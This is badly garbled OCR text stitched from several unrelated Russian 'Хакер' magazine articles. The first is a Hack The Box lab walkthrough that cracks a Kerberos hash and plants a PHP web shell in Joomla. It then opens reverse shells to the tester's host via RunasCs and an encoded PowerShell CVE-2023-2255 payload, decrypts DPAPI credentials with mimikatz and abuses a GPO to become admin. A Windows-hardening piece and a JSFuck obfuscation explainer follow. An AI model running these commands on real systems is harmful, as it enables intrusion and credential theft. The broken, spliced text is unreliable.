пароль поль зовате ля. Если с исполь зовани ем NTLM-хеша стро ки получит ся
рас шифро вать мет ку вре мени, мож но счи тать, что мы наш ли пароль поль- 
зовате ля.

фор мат пред став ления hashcat

Фор маты hashcat

Фор миру ем хеш:

$krb5pa$18$tstark$OFFICE.
HTB$a16f4806da05760af63c566d566f071c5bb35d0a414459417613a9d67932a6735
704d0832767af226aaa7360338a34746a00a3765386f5fc 

И отправ ляем на перебор в режиме 19900.

 0 hashcat -a -m 19900 tstark_hash.txt rockyou.txt 

Ре зуль тат под бора пароля

Па роль получен, теперь нуж но его валиди ровать с помощью NetExec.

   3 nxc smb 10.10.11.3 -u tstark -p 'playboy69' --smb-timeout

Ре зуль тат про вер ки пароля

Па роль вер ный, но никаких новых дос тупов мы не получа ем. Одна ко этот
пароль под ходит для учет ной записи адми нис тра тора Joomla.

Стра ница авто риза ции

Глав ная панель адми нис тра тора

Joomla RCE
Ад минис тра тор Joomla может заг ружать фай лы на сер вер, что дает воз- 
можность получить RCE. Для это го необ ходимо в меню перей ти в System →
Site Templates и выб рать шаб лон.

Стра ница System

Стра ница Templates

За тем выбира ем New File, вво дим имя и выбира ем рас ширение .php.

Фай лы шаб лона

Соз дание нового фай ла

В окне исходно го кода встав ляем .p0wny-shell

Ис ходный код шел ла

Ког да файл сох ранен, мож но перей ти к шел лу и получить воз можность выпол- 
нения команд.

Стра ница с веб-шел лом

За пус каем лис тенер:

rlwrap nc -nlvp 4321 

И с помощью  выпол няем реверс-шелл от име ни поль зовате ля
tstark.

RunasCs

RunasCs.exe tstark playboy69 -d office cmd.exe -r 10.10.16.143:4321

Сес сия поль зовате ля tstark

В домаш нем катало ге поль зовате ля забира ем пер вый флаг.

Флаг поль зовате ля

Продолжение статьи →

https://hashcat.net/wiki/doku.php?id=example_hashes
https://github.com/flozz/p0wny-shell
https://github.com/antonioCoco/RunasCs
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ÏÐÎÄÂÈÆÅÍÈÅ

Ïîëüçîâàòåëü ppotts
Пер вым делом смот рим сис темные нас трой ки. В спис ке прос лушива емых
пор тов мож но обна ружить 8083.

netstat /an

Прос лушива емые пор ты

Ско рее все го, на этом пор те работа ет веб-сер вер, поэто му прос мотрим
каталог XAMPP.

Со дер жимое катало га C:\xampp\htdocs

Но что бы получить дос туп к пор ту, который дос тупен толь ко для локаль ного
хос та, необ ходимо пос тро ить сетевой тун нель. Для это го будем исполь зовать

.chisel

На локаль ном хос те запус тим сер вер, ожи дающий под клю чения (параметр
) на порт 8888 (параметр ).--reverse -p

./chisel.bin server -p 8888 --reverse

За тем на уда лен ном хос те запус тим кли ент скую часть. Ука зыва ем адрес сер- 
вера и порт для под клю чения, а так же нас трой ку тун неля: тун нелиро вать тра- 
фик с локаль ного пор та 8083 сер вера на порт 8083 кли ента.

chisel.exe client 10.10.16.143:8888 R:8083:localhost:8083 

В логах сер вера мы дол жны уви деть сооб щение о соз дании сес сии.

Ло ги chisel server

Те перь мож но обра тить ся к пор ту 8083 локаль ной машины через бра узер.

Глав ная стра ница сай та

На сай те есть фор ма заг рузки фай лов, но при ложе ние при нима ет не все
фор маты, а толь ко докумен ты OpenOffice.

Ошиб ка заг рузки фай ла

Фор мат ODT — это шаб лон докумен та LibreOffice. Я поп робовал заг рузить
документ с мак росом, никакой реак ции веб-сер вер не дал, поэто му приш-
лось поис кать пос ледние экс пло иты.

По иск экс пло итов в Google

Све жая уяз вимость  поз воля ет сфор мировать такой файл
ODT, который при откры тии выпол нит про изволь ный код. Для фор мирова ния
фай ла с наг рузкой исполь зуем . В качес тве
исполня емой коман ды будем внед рять уже зна комый реверс-шелл.

CVE-2023-2255

экс пло ит за авторс твом Elweth

 
 

python3 CVE-2023-2255.py --cmd 'powershell -e JABjA....
4AdAAuAEMAbABvAHMAZQAoACkA' --output doc.odt 

Те перь отправ ляем сфор мирован ный файл и сра зу же получа ем бэк коннект
на ука зан ный порт.

Сес сия поль зовате ля ppotts

Ïîëüçîâàòåëü hhogan
Од но из мест, которые всег да сто ит про верять в поис ках пути для повыше ния
при виле гий, — сох ранен ные учет ные дан ные.

cmdkey /list

Сох ранен ные учет ные дан ные

Ме нед жер учет ных дан ных содер жит сох ранен ный пароль поль зовате ля
. Для хра нения дан ных Credman исполь зует механизм DPAPI.

Бло бы c дан ными хра нят ся в катало ге 
.

office\hhogan
%APPDATA%\Roaming\Microsoft\

Credentials

Get-ChildItem -Hidden C:\Users\ppotts\AppData\Roaming\Microsoft\
Credentials\

Со дер жимое катало га Credentials

При попыт ке рас шифро вать BLOB без мас тер-клю ча при помощи 

мы получим guid нуж ного нам клю ча (поле ).

mimikatz

guidMasterKey

mimikatz.exe "dpapi::cred /in:C:\Users\ppotts\AppData\Roaming\
Microsoft\Credentials\18A1927A997A794B65E9849883AC3F3E" "exit"

Со дер жимое бло ба дан ных

Мас тер-ключ хра нит ся в зашиф рован ном на клю чевой информа ции поль- 
зовате ля виде в фай ле вот по такому пути:

%APPDATA%\Roaming\Microsoft\Protect\<SID>\<guidMasterKey> 

Так как мы работа ем в сес сии поль зовате ля, мас тер-ключ которо го нам нуж- 
но получить, можем исполь зовать механизм . Он поможет нам получить
важ ную информа цию, которая поз волит рас шифро вать мас тер-ключ.

/rpc

mimikatz.exe "dpapi::masterkey /in:C:\Users\ppotts\AppData\Roaming\
Microsoft\Protect\S-1-5-21-1199398058-4196589450-691661856-1107\
191d3f9d-7959-4b4d-a520-a444853c47eb /rpc" "exit"

По луче ние мас тер-клю ча

Те перь исполь зуем получен ный мас тер-ключ, что бы рас шифро вать блоб.

mimikatz.exe "dpapi::cred /in:C:\Users\ppotts\AppData\Roaming\
Microsoft\Credentials\84F1CAEEBF466550F4967858F9353FB4 /masterkey:
87eedae4c65e0db47fcbc3e7e337c4cce621157863702adc224caf2eedcfbdbaadde9
9ec95413e18b0965dcac70344ed9848cd04f3b9491c336c4bde4d1d8166"
"exit"

Учет ные дан ные поль зовате ля

Так как новый поль зователь сос тоит в груп пе «Поль зовате ли уда лен ного
управле ния», мож но получить дос туп, исполь зуя служ бу WinRM. В этом нам
поможет ути лита .Evil-WinRM

evil-winrm -u 'hhogan' -p 'H4ppyFtW183#' -i 10.10.11.3

Сес сия поль зовате ля hhogan

ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Прос матри ваем информа цию о поль зовате ле, его груп пы и при виле гии
и отме чаем, что поль зователь сос тоит в груп пе .GPO Managers

Ин форма ция о поль зовате ле

Эта груп па поз волит нам управлять объ екта ми груп повой полити ки, а это путь
к повыше нию при виле гий. Получим все объ екты груп повой полити ки
в домене. Нас инте ресу ют толь ко иден тифика торы объ ектов и их име на.

Get-GPO -All | select Id,DisplayName

Спи сок GPO

Для изме нения парамет ров GPO будем исполь зовать инс тру мент
. Изме ним полити ку домена по умол чанию и добавим текуще- 

го поль зовате ля в груп пу .
SharpGPOAbuse

Administrators

.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount hhogan --GPOName 
"Default Domain Policy"
gpupdate /force

Из менение GPO

Пе риоди чес ки прос матри ваем чле нов груп пы Administrators. Вско ре там
появит ся и наш добав ленный поль зователь.

net localgroup Administrators

Чле ны груп пы Administrators

Те перь у поль зовате ля есть высокие при виле гии и мы можем исполь зовать
 для получе ния сес сии от име ни SYSTEM.PsExec

impacket-psexec 'office.htb/hhogan:H4ppyFtW183#'@10.10.11.3 

Флаг рута

Мы получи ли флаг рута, а зна чит, машина зах вачена!

https://github.com/jpillora/chisel
https://nvd.nist.gov/vuln/detail/CVE-2023-2255
https://github.com/elweth-sec/CVE-2023-2255
https://github.com/gentilkiwi/mimikatz
https://github.com/Hackplayers/evil-winrm
https://github.com/FSecureLABS/SharpGPOAbuse
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ПРИВАТНОСТЬ

Ес ли ты хочешь защитить ся от вирусов,
тебе нужен анти вирус, вер но? Вов се
не обя затель но. У анти виру сов мно жес тво
недос татков, поэто му если у тебя на пле чах
голова и ты готов ее исполь зовать, то
можешь сам свес ти рис ки зараже ния
к миниму му. Дос таточ но сле довать пра- 
вилам циф ровой гиги ены и сде лать нес- 
коль ко важ ных нас тро ек сис темы. Имен но
об этих нас трой ках и погово рим.

Ду маю, проб лемы анти виру сов тебе хорошо зна комы. Для меня реша ющий
момент — это рис ки, свя зан ные с кон фиден циаль ностью. О них откры то
сооб щает ся в любом поль зователь ском сог лашении анти виру са — от дефол- 
тно го «Защит ника» Windows до широко извес тных плат ных решений.

К тому же анти вирус, как извес тно, не дает стоп роцен тной гаран тии
защиты. Поэто му, даже если ты не пла ниру ешь отка зывать ся от него, допол- 
нитель ная защита никог да не помеша ет.

Важ ное пре дуп режде ние: часть инс тру мен тов, о которых я рас ска зываю
в статье, про изво дят глу бин ные изме нения в Windows и не будут уве дом лять
тебя, если ты сде лаешь что-то не так. При неуме лом исполь зовании мож но
лег ко пов редить сис тему. Зато в руках про фес сиона ла эти ути литы прев- 
раща ются в гроз ное ору жие про тив уяз вимос тей.

ÒÞÍÈÍÃÓÅÌ WINDOWS

На до понимать, что вирус — это все го лишь прог рамма, которая исполня ется
в ОС. Поэто му пер вый шаг к про тиво дей ствию вирусу — пра виль но нас тро ить
окру жение.

Пер вым делом нуж но соз дать поль зовате ля с огра ничен ными пра вами.
Да, все уже мил лион раз читали и слы шали рекомен дации не сидеть
под адми ном, в том чис ле и в Windows, но почему-то упор но про дол жают.

Ес ли хочешь обхо дить ся без анти виру са, заведи при выч ку сра зу пос ле
уста нов ки ОС и драй веров делать учет ку обыч ного юзе ра. Это обло мает зубы
всем вре донос ным прог раммам, которые не уме ют под нимать себе пра ва. Ну
а про то, что сис тема всег да дол жна быть обес печена пос ледни ми пат чами,
и говорить не сто ит, это зна ют даже малые дети.

Ра ботая от име ни поль зовате ля, ты заод но получишь некото рую защиту
сис темных фай лов и нас тро ек от несан кци они рован ных изме нений. Если
вирус или какая-то дру гая гадость полезет менять сис темные фай лы, то стол- 
кнет ся с огра ниче ниями дос тупа.

А даль ше нуж но умень шить, нас коль ко это воз можно, повер хность ата ки
на тебя.

INFO

По вер хность ата ки в информа цион ной безопас- 
ности отно сит ся к сум ме всех уяз вимос тей и спо- 
собов, через которые зло умыш ленник может
попытать ся про ник нуть в сис тему. Чем боль ше
потен циаль ных уяз вимос тей, тем боль ше повер- 
хность ата ки.

Да же если у тебя сто ят пос ледние пат чи, ты все рав но не можешь быть уве- 
рен, что нет ни одной уяз вимос ти в ком понен тах ОС или соф те. Быва ют
и баги нулево го дня, и мы зна ем немало исто рий, ког да они ста нови лись
неожи дан ностью для огромно го чис ла поль зовате лей.

Зна чит, если какой-то ком понент или служ ба не исполь зует ся, сме ло
отклю чай ее. Не юза ешь OneDrive? Уда ляй! Microsoft Edge? Туда же! У тебя
нет прин тера? Отклю чи служ бу печати. В Windows по умол чанию напихан
вагон соф та и служб, которы ми ты никог да не вос поль зуешь ся. Поэто му
берем скаль пель и выреза ем всё лиш нее.

При чем уда лять мож но как из самой сис темы, так и сра зу из уста новоч- 
ного обра за, что бы в слу чае чего не при ходи лось пов торять те же дей ствия
пос ле пере уста нов ки сис темы. Я пред почитаю сов мещать эти два спо соба.

MSMG Toolkit
Нес мотря на весь ма допотоп ный интерфейс,  — это очень
полез ная тул за для соз дания собс твен ных сбо рок Windows. Она поз воля ет
уда лить кучу все го ненуж ного (да и нуж ного — тоже), вклю чая пре дус танов- 
ленное ПО и телемет рию. Здесь же мож но, нап ример, отклю чить про вер ку
кон фигура ции компь юте ра при уста нов ке Windows 11.

MSMG Toolkit

MSMG Toolkit

MSMG помога ет и добав лять некото рые вещи: нап ример, DirectX, Visual C++
Redistributable Runtimes и дру гие. Что кру то: работа про исхо дит на уров не
обра за уста нов щика, на выходе будет файл .iso, мож но записать его
на флеш ку и уста нав ливать себе (или какому-то счас тлив цу) уже про качан ную
вер сию Windows.

AutoSettings
 — это скрипт с форума , соз данный поль- 

зовате лями westlife и LeX333666. Пос коль ку это прос то сце нарий PowerShell,
ты можешь про честь его от начала и до кон ца, что бы убе дить ся, что ничего
вре донос ного в нем нет. Но полез ного — прос то мас са. Если MSMG Toolkit
не оси лил какие-то нас трой ки, то AutoSettings точ но довер шит дело.

AutoSettings forum.ru-board.com

AutoSettings

Для скрип та есть пре сеты, которые поз воля ют деталь но нас тро ить то, что он
будет делать. Плюс есть интерфейс, в котором мож но пос мотреть, что вклю- 
чено или вык лючено в сис теме в дан ный момент.

Ес ли ты обра тил вни мание на скрин шот, то заметил пре дуп режде ние, что
Windows 11 не под держи вает ся. Но на самом деле автор, похоже, прос то
не иссле довал все фичи пос ледней вер сии Windows и некото рые новые нас- 
трой ки пока не реали зова ны. Но те, что есть, прек расно работа ют! Кро ме
того, мож но дораба тывать код скрип та и добав лять любые нас трой ки самос- 
тоятель но.

ÔÀÉÐÂÎË

Пе рехо дим к сетевой защите. Все зна ют, что в Windows есть встро енный фай-
рвол. У мно гих к нему весь ма пред взя тое отно шение, но он дос таточ но неп- 
лох, осо бен но если его пра виль но нас тро ить.

В сто рон них фай рво лах при сутс тву ет HIPS (Host-based Intrusion Prevention
System) — сис тема, которая защища ет сам фай рвол от воз дей ствия дру гих,
в том чис ле вре донос ных, прог рамм. В Windows тоже есть механиз мы,
монито рящие целос тность сис темных ком понен тов. Но все-таки это не клас- 
сичес кий HIPS, и это нуж но понимать.

Сторонние файрволы
По чему бы не исполь зовать сто рон ние фай рво лы? Здесь меня оста нав лива ет
все та же любимая паранойя. Ста вишь в сис тему что-то новое, и вот нуж но
доверять еще одной ком пании.

Ты можешь воз разить, что есть опен сор сный Portmaster, за который мож но
не пережи вать. Но заметил ли ты, что у него нет офлай нового уста нов щика?
Сооб щес тво дав но ждет от раз работ чиков воз можность ста вить Portmaster
обыч ным инстал лятором, который не делал бы зап росов к сер веру, но такой
воз можнос ти до сих пор нет.

Я нахожу это стран ным и пока не рис кую исполь зовать Portmaster. К тому
же у него есть проб лемы с про изво дитель ностью на быс трых каналах.

Что до допол нитель ной нас трой ки стан дар тно го фай рво ла, то тут нам при- 
годит ся тул за Malwarebytes Windows Firewall Control.

Windows Firewall Control

Это прос то удоб ная панель управле ния встро енным фай рво лом Windows.
Как его нас тро ить самому? Я в пер вую оче редь наг лухо зап рещаю вхо дящие
соеди нения. Затем уда ляю все пра вила фай рво ла и вклю чаю опо веще ния
на любое сетевое вза имо дей ствие. Хочет прог рамма или ком понент ОС схо- 
дить в интернет? Windows Firewall Control ска жет тебе от этом, а ты уже при- 
мешь решение. Если на твою машину попал сти лер, то он как минимум
не смо жет дос тучать ся до управля юще го сер вера и передать наг раблен ное
сво им хозя евам.

Из минусов ути литы — зак рытый исходный код. Но если тебя одо лева ет
паранойя, то можешь уста новить Windows Firewall Control, сде лать все нас- 
трой ки, а затем уда лить. Все соз данные пра вила оста нут ся в сис теме, если
ты отка жешь ся от пред ложения вер нуть всё как было.

ÍÀÑÒÐÀÈÂÀÅÌ UEFI

Не сто ит забывать про бут киты, а для борь бы с ними поможет неболь шая нас- 
трой ка UEFI. Вот что обя затель но нуж но сде лать для его защиты.

Во-пер вых, регуляр но обновлять UEFI. К сожале нию, это узкое мес то
в безопас ности устрой ства: в UEFI регуляр но находят новые уяз вимос ти,
а ста рые не всег да зак рыва ют опе ратив но.

Во-вто рых, рекомен дую вык лючить Secure Boot. Это фун кция, которая
про веря ет под пись заг ружа емых модулей EFI, что бы убе дить ся, что они
не были изме нены зло умыш ленни ком. Казалось бы, это дол жно повышать
безопас ность, но на деле в самом этом механиз ме час то находят уяз вимос ти.

ÂÑÏÎÌÎÃÀÒÅËÜÍÛÉ ÑÎÔÒ

Ес тес твен но, нас трой ками одной ОС не обой тись, и нам все же понадо бит ся
сто рон ний софт — безопас ный либо обес печива ющий безопас ность.

Librewolf
Бра узер — кри тич ное в пла не безопас ности и кон фиден циаль нос ти при ложе- 
ние. Его могут попытать ся отсле живать, ата ковать через экс пло ит-паки
и скрип ты. Поэто му к выбору бра узе ра и его пла гинов нуж но отнестись серь- 
езно.

Мне в этом пла не приг лянул ся форк Firefox под наз вани ем Librewolf. В нем
вырезан код, отве чающий за телемет рию, цен тра лизо ван ную уста нов ку
обновле ний и дру гие фун кции, которые могут пов редить кон фиден циаль нос- 
ти. Но на него по-преж нему мож но уста нав ливать все пла гины, дос тупные
в стан дар тном катало ге Firefox.

Вот минималь ный набор пла гинов, которые я рекомен дую уста новить
для того, что бы сде лать бра узер более устой чивым к попыт кам воз дей ствия:

 — для бло киров ки JavaScript;• Noscript
 — бло киру ет рек ламу, тре керы и вре донос ные ком понен ты

на сай тах;
• uBlock Origin

 — поз воля ет запус кать каж дую вклад ку
в отдель ном изо лиро ван ном кон тей нере.

• Firefox Multi-Account Containers

Все пла гины опен сор сные, поэто му мож но не бес поко ить ся, что твои дан ные
куда-то уте кут.

По нимаю, что выбор бра узе ра — тема извечно го холива ра. Если ты сто- 
рон ник бра узе ров на Chromium, то най дут ся вари анты и для тебя, нап ример

.Ungoogled Chromium

Sandboxie
Пе ред нами час то сто ит дилем ма: запус тить новое при ложе ние любопытс тва
ради или луч ше все же не сто ит — из сооб ражений безопас ности. Прог рамма
Sandboxie избавля ет от это го выбора. Она поз воля ет соз давать изо лиро ван- 
ные прос транс тва для запус ка потен циаль но уяз вимых или опас ных при ложе- 
ний. Вир туали зация про изво дит ся на уров не филь тру юще го драй вера, что
дает неп лохую защиту, осо бен но если ты уже вос поль зовал ся рекомен даци- 
ей сидеть под учет кой юзе ра.

При ложе ние плат ное, но есть и бес плат ные воз можнос ти, которых может
впол не хва тить. Код Sandboxie пол ностью открыт и дос тупен .на GitHub

Та кие вещи, как бра узер и читал ка PDF, мож но всег да запус кать
в Sandboxie — на слу чай если в них все же най дет ся уяз вимость, которую
не успел зак рыть раз работ чик. И конеч но, в Sandboxie сто ит откры вать неиз- 
вес тные при ложе ния и вся кие подоз ритель ные, но любопыт ные шту ки, ска- 
чан ные из тем ных угол ков интерне та.

Еще луч ше будет нас тро ить само очис тку изо лиро ван ной сре ды. Ког да
откры тые в ней прог раммы завер шатся, она может сбро сить все изме нения.
Этим ты еще и обес печишь повышен ную кон фиден циаль ность: если, нап- 
ример, работать в таком режиме с бра узе ром, то куки будут зна читель но
менее эффектив ным средс твом сле жения за тобой.

Ïîðòàòèâíûå âåðñèè ïðèëîæåíèé
Для уста нов ки при ложе ний час то нуж ны пра ва адми нис тра тора, а это
повыша ет риск ком про мета ции, осо бен но если ста вить софт из неиз вес тных
источни ков. Миними зиро вать риск (но не исклю чить его пол ностью) мож но,
исполь зуя пор татив ные вер сии прог рамм. Они не тре буют уста нов ки, и, даже
если в них и будет заложе на вре донос ная фун кци ональ ность, далеко в сис- 
теме вирус не прод винет ся. А пра виль но нас тро енный фай рвол не даст утечь
тво им дан ным на сто рону.

ESET Sysinspector
Это хороший монитор ком понен тов, уста нов ленных у тебя в сис теме. Чем

 отли чает ся от анти виру са? Он не тре бует уста нов ки,
не встра ивает ся в сис тему и не находит ся пос тоян но в активном сос тоянии.
То есть модель работы с ним такова: запус тил, про верил, нет ли в Windows
сле дов неп рошеных гос тей, и вык лючил.

ESET Sysinspector

Это явно луч ше, чем находить ся под неусып ным монито рин гом одно го
из клас сичес ких анти виру сов. Кро ме того, ESET Sysinspector не тре бует
для работы соеди нения с интерне том, так что никакие дан ные он не укра дет.
Но есть и минус: исходный код при ложе ния зак рыт.

ÂÛÂÎÄÛ

Ис поль зуя советы из этой статьи, ты смо жешь неп лохо обе зопа сить себя
от раз нооб разных атак. Для это го по боль шей час ти дос таточ но встро енных
воз можнос тей Windows и неболь шого набора опен сор сных прог рамм,
ни одна из которых не будет работать в сис теме неп рерыв но. И конеч но, этот
под ход мож но и нуж но раз вивать и дораба тывать в соот ветс твии с тво ими
нуж дами и пред почте ниями.

mailto:xtahi0nix@gmail.com
https://msmgtoolkit.in/
http://forum.ru-board.com/topic.cgi?forum=62&bm=1&topic=30617&glp
https://forum.ru-board.com/
https://addons.mozilla.org/en-US/firefox/addon/noscript/
https://addons.mozilla.org/en-US/firefox/addon/ublock-origin/
https://addons.mozilla.org/en-US/firefox/addon/multi-account-containers/
https://github.com/ungoogled-software/ungoogled-chromium
https://github.com/sandboxie-plus/Sandboxie
https://www.eset.com/lv-ru/support/sysinspector/
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Да вай отло жим в сто рону сухую тех ничес- 
кую праг матику и погово рим о прек расном.
Ты спро сишь: что может быть прек расно го
в обфуска ции кода? Я отве чу: некото рые
решения в этой области обла дают пря- 
мо-таки эсте тичес ки чару ющей кра сотой,
дос тупной толь ко истинным цените лям.
Прав да, называ ются порой не осо бен но
бла гоз вучно. Сегод ня мы погово рим
о JSFuck — инс тру мен те для обфуска ции
и деоб фуска ции JavaScript.

На днях мне попалась на гла за  про обфуска цию и деоб фуска цию
аппле тов JavaScript. Тема эта хоть и малопер спек тивная, но дос таточ но акту- 
аль ная: я и сам ког да-то касал ся ее в сво ем матери але «

» при мени тель но
к адо бов ской реали зации JavaScript в ExtendScript Toolkit. Так вот, статья
напом нила мне про ста рень кое, но незас лужен но забытое решение в этой
области народ ного хозяй ства под неп рилич ным наз вани ем JSFuck.

статья

Пат чим JSXBIN.
Как пра вить бинар ные скрип ты Adobe без переком пиляции

В «Хакере» это тоже пару раз  лет  назад при мени- 
тель но к уяз вимос ти eBay и обфусци рован ному коду.

упо мина лось во семь

Спра вед ливос ти ради надо заметить, что JSFuck тог да вспом нили исклю- 
читель но за хай повое наз вание, пос коль ку хакеры для ата ки на eBay поль- 
зовались самыми раз нооб разны ми обфуска тора ми и JSFuck там был отнюдь
не самым рас простра нен ным. Как-то так получи лось, что ник то осо бо не опи- 
сывал прин цип работы это го чудес ного алго рит ма, отсы лая к автор ско му
ресур су . В сегод няшней статье поп робую хоть и поз дно, но испра- 
вить дан ное упу щение.

jsfuck.com

На чалось все с того, что в далеком 2009 году Ёсу кэ Хасэга ва (Yosuke
Hasegawa, не знаю, как этих япон ских любите лей стран ного и спе цифич ного
пра виль но называть ;)) соз дал веб-при ложе ние jjencode, переко диру ющее
любой код JavaScript в рав ноцен ную исполня емую фор му, в которой исполь- 
зует ся толь ко 18 спец симво лов: .[]()!+,\"$.:;_{}~=

На пер вый взгляд подоб ное кажет ся чем-то неверо ятным — про цедур ный
объ ектно ори енти рован ный язык высоко го уров ня ужать до под мно жес тва
из 18 спец симво лов, да еще и с сох ранени ем всех исходных имен перемен- 
ных, клас сов, методов и так далее...

Пред ставь себе, нап ример, прог рамму на C, сос тоящую толь ко из спец- 
симво лов, но при этом прек расно ком пилиру ющуюся и кор рек тно работа- 
ющую. Чес тно говоря, лич но я, ког да пер вый раз услы шал про такое, тоже
спер ва не поверил, думал, речь идет о какой-то надс трой ке над интер пре- 
тато ром, шиф рующей и переко диру ющей исходный текст или даже под- 
компи лиру ющей его в байт-код. Как, нап ример, было в моей статье про PHP
« ».
Или даже о кас томной реали зации JS вро де .
В обход стра жи. Отла жива ем код на PHP, упа кован ный SourceGuardian

адо бов ской
Од нако нет, получен ный текст, в котором отсутс тву ют бук вы, циф ры и куча

дру гих сим волов, прек расно и самодос таточ но запус кает ся, нап ример, в бра- 
узер ной стро ке. В этом лег ко убе дить ся самос тоятель но, и это дей стви тель- 
но выг лядит каким-то кол дунс твом. Под робнее почитать об опи сан ном явле- 
нии мож но в статье, опуб ликован ной на пор тале , но мы не будем
углублять ся в дан ную тему, пос коль ку, ока зыва ется, и это не пре дел.

BusinessInfo

В те вре мена эта идея нас толь ко всех впе чат лила, что бук валь но через
пол года на форуме обфуска торов  был про веден кон курс,

цель которо го — еще зна читель нее миними зиро вать под мно жес тво исполь- 
зуемых сим волов. И дей стви тель но, это самое под мно жес тво уда лось сок- 
ратить более чем в два раза, до вось ми сим волов: , а в мар- 

те 2010 года из него были исклю чены и сим волы .

sla.ckers.org
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По лучен ное минималь ное под мно жес тво из шес ти оставших ся сим волов
исполь зовалось в онлайн-кодиров щике JS-NoAlnum, на базе которо го
Хасэга ва в кон це это го же года соз дал кодиров щик JSFuck. А чуть поз же Мар- 
тин Клеп пе (Martin Kleppe) опуб ликовал на гит хабе про ект и сде лал сайт

 с опи сани ем алго рит ма.jsfuck.com
Са мые нетер пеливые читате ли могут сра зу перей ти туда, что бы озна- 

комить ся с алго рит мом, так ска зать, непос редс твен но из пер вых уст,
для осталь ных я про дол жу свое повес тво вание. Надо отдать дол жное Хасэга-
ве: он так хулиган ски наз вал свой про ект не из каких-то извра щен ных побуж- 
дений. Наз вание про исхо дит от  (перево дит ся как «вынос моз га»),
эзо тери чес кого язы ка прог рамми рова ния, на котором прог раммы кодиру- 
ются схо жим набором спец симво лов. Аллю зию добав ляет и то, что пред шес- 
твен ник язы ка Brainfuck — эзо тери чес кий язык  тоже исполь зует в сво ей
семан тике шесть спец симво лов.

Brainfuck

P''

Од нако эти необыч ные язы ки прог рамми рова ния тре бова ли для сво его
исполне ния ком пилято ры или интер пре тато ры, написан ные на дру гих язы ках,
а JSFuck пре вос ходно интер пре тиру ет себя сам при помощи встро енно го
интер пре тато ра бра узер ного движ ка JavaScript. Нач нем же сеанс разоб- 
лачения чер ной магии.

Пер вый воп рос, который при ходит в голову при зна комс тве с JSFuck, —
как он обхо дит ся без цифр и сим волов? Ведь при помощи его может быть
опи сана любая JavaScript-прог рамма, в которой есть циф ры и весь набор
латин ских (и не толь ко) сим волов впол не себе при сутс тву ет? Ока зыва ется,
все прос то: генери ровать любой сим вол из шес ти исходных поз воля ет харак- 
терная осо бен ность язы ка JavaScript — нес коль ко экс тра ваган тное пре обра- 
зова ние типов при бинар ных и унар ных опе раци ях. Она слу жит так же источни- 
ком мно жес тва мемов и анек дотов про этот язык и прог раммис тов на нем.

Нач нем с прос того. Базовая мор фема, опи сыва ющая минималь ное
выраже ние, сло жен ное из набора сим волов , — это , озна чающее

пус той мас сив. При пре обра зова нии его в Boolean (унар ной опе раци ей ) мы
получа ем false, что по-сво ему логич но, ведь сам пус той мас сив исти нен.
Соот ветс твен но, двой ное отри цание  тоже будет истинно, при чем

булева типа true.

[]()!+ []
!
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Пре обра зова ние пус того мас сива в чис ло чуть менее логич но:  дает

там , и уж сов сем нелогич но то, что сум ма двух пус тых мас сивов  дает

пус тую стро ку . Оста вим шут ки над этим для сос тавите лей мемов, у нас
наметил ся прог ресс — путем сум мирова ния еди ниц мы получа ем все чис ла,
путем сум мирова ния с пус той стро кой мы получа ем пре обра зова ния чис ла (и
любого типа вооб ще) в стро ку и стро ки в чис ло (путем унар ной опе рации ).
Таким обра зом, нам, к при меру, не надо сум мировать тысячу еди ниц, что бы
получить 1000, — дос таточ но про сум мировать  и пре обра зовать

резуль тат обратно в чис ло.

+[]
0 []+[]

""

+

""+1+0+0+0

Но как же теперь быть с сим волами? Сим волы мож но получать, обра щаясь
по индексу к стро ке. Пока что у нас таких строк все го две, они получе ны
при пре обра зова нии в стро ку булевых выраже ний true и false. Чуть под напряг- 
шись, мож но получить стро ки ,  (даже не спра- 
шивай меня, почему так ;)) и , но и это не шиб ко нас спа- 

сает.

NaN=+[0] undefined=[[]]
Infinity=+1e1000

В ито ге мы име ем доволь но куцый набор сим волов: 
. При дет ся нем ного помух левать. Исхо дя

из син такси са язы ка, к любому методу объ екта мож но обра щать ся как к
индексу мас сива, исполь зуя квад ратные скоб ки. Пос коль ку  — это Array,
соот ветс твен но,  вер нет нам метод at в виде объ екта типа

, который при перево де в стро ку в бра узер ной реали зации

JavaScript выг лядит вот так.

t, r, u, e, f, a, 
l, s, I, f, i, n, y, N, d, u

[]
[]["flat"]

Function

На пер вый взгляд, боль шинс тво сим волов в ней у нас уже име ется, одна ко
добав ление фигур ных ско бок, а так же сим волов  и  замет но сдви нет нас
с мер твой точ ки. Из име ющих ся в нашем рас поряже нии сим волов мы можем
сос тавить замеча тель ное сло во constructor, которое дает нам дос туп к конс- 
трук торам объ ектов раз личных типов:

c o

  []["constructor"] - Array
  ""["constructor"] - String
  0["constructor"] - Number

  true["constructor"] - Boolean
  []["flat"]["constructor"] - Function
  []["flat"]["constructor"] - Object

По мимо мно жес тва цен ных сим волов, нам откры вает ся еще одна инте рес ная
фича: исполь зование конс трук тора  поз воля ет нап рямую вызывать

соб ранную стро ку, наподо бие того, как это дела ет eval. Нап ример, выраже- 
ние 

 нап рямую вызыва ет окно alert, исполняя код в кавыч ках.

Function

[]["flat"]["constructor"]("alert(1)")() == Function("alert(1)
")()

Дру гая инте рес ная наход ка поз воля ет нам получить сра зу все недос- 
тающие латин ские сим волы ниж него регис тра от a до z. Извес тно, что у конс- 
трук тора  сущес тву ет метод , который пре обра зует
чис ло в стро ку, исполь зуя сис тему счис ления с базой , при чем 

как раз и огра ниче на количес твом строч ных латин ских букв. Нап ример:

Number toString(base)
base base

"k"=(20)["toString"](21)
"v"=(31)["toString"](32)
...

Что бы получить вооб ще все-все-все сим волы и окон чатель но зак рыть тему,
нам неп лохо бы иметь дос туп к методу . И здесь мы

стал кива емся с вне зап ной проб лемой, воз никшей бук валь но на ров ном мес- 
те, — у нас до сих пор нет боль шой бук вы С и совер шенно неяс но, как ее
получить. На удив ление, ни одна воз вра щаемая стро ка не содер жит эту бук ву.
Но хит рый извра щенец Хасэга ва обо шел и это! В JavaScript име ется мало- 
извес тный и прак тичес ки уста рев ший метод , пре обра зующий спец- 
симво лы в стро ке в соот ветс тву ющие шес тнад цатерич ные escape-пос- 
ледова тель нос ти. Нап ример, , треть им сим волом

получен ной стро ки мы и име ем недос тающий нам С, который откры вает
оставши еся сим волы. Бин го!

String.fromCharCode

escape

escape("<")="%3C"

Те перь, ког да вся магия разоб лачена, я вкрат це рас ска жу о дос тоинс твах,
недос татках и воз можнос тях исполь зования это го диковин ного инс тру мен та
на прак тике.

Как лег ко догадать ся, глав ная проб лема JSFuck в его чудовищ ной объ- 
